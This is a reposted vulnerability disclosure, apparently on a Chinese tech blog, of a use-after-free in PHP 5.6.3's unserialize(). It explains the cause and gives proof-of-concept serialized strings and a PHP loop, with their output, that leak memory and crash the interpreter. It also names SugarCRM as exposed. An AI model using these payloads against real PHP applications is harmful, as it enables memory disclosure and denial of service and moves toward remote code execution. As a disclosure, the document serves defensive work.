PHP 5.6.3 unserialize() execute arbitrary code

时间:2014-12-29    作者:admin    分类: 技术交流


Description:

------------

Reported by Stefan Esser <stefan.esser@sektioneins.de>:



A while ago the function "process_nested_data" was changed to better

handle object properties. Before it was possible to create numeric

object properties which would cause trouble down the road. So the

following code was added:


if (!objprops) {
...
} else {
/* object properties should include no integers */
convert_to_string(key);
zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1,
&data,
sizeof data, NULL);
}





Whoever wrote this code did not know about the history of the

unserialize() function and that in earlier times (2004) I found a use

after free vulnerability in it. A non detailed write up can be found in

http://seclists.org/fulldisclosure/2004/Dec/356 [Bug 7].



The problem with the above code is that when there are two identical

keys in the object's serialized properties the second key will delete

the first one from memory and destroy the ZVAL associated with it. This

means that ZVAL and all its children is freed from memory. However the

unserialize() code will still allow to use R: or r: to set references to

that already freed memory. It has been demonstrated many times before

that use after free inside unserialize() allows an attacker to execute

arbitrary code. Also some programs do not only unserialize() user input

but they also sent a serialized() reply back to the caller. In such a

setup an attacker can not only trigger code execution but also leak

memory content from remote. This together means he can write a fully

working remote exploit that bypasses all modern mitigations. Examples

how that was possible before you can see from this slide deck (starting

from slide 30)

http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter



Last time I checked one prominent example of PHP code that uses

unserialize() and serialize() in this way is: SugarCRM



The following code shows the leak:


<?php

$data =
'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

$x = unserialize($data);
var_dump($x);

$ php test.php
object(stdClass)#1 (2) {
["aaa"]=>
int(1)
["ccc"]=>
&string(39) "1Y?/"
}





And the following code should crash PHP:


<?php

for ($i=4; $i<100; $i++) {

var_dump($i);

$m = new StdClass();

$u = array(1);

$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);

$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}







As you can see here:



$ php x.php

int(4)

string(134)

"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"

aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}"

object(stdClass)#2 (3) {

["aaa"]=>

int(1)

["ccc"]=>

&NULL

["ddd"]=>

string(4) "AAAA"

}

int(5)

string(135)

"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"

aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:5:"AAAAA";}"

object(stdClass)#1 (3) {

["aaa"]=>

int(1)

["ccc"]=>

&NULL

["ddd"]=>

string(5) "AAAAA"

}

int(6)

string(136)

"O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"

aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:6:"AAAAAA";}"

Segmentation fault: 11



Somewhen before you fix and release this I will prepare a POC that

demonstrates full control over the program counter and to leak specific

stuff from the system.

标签: php unserialize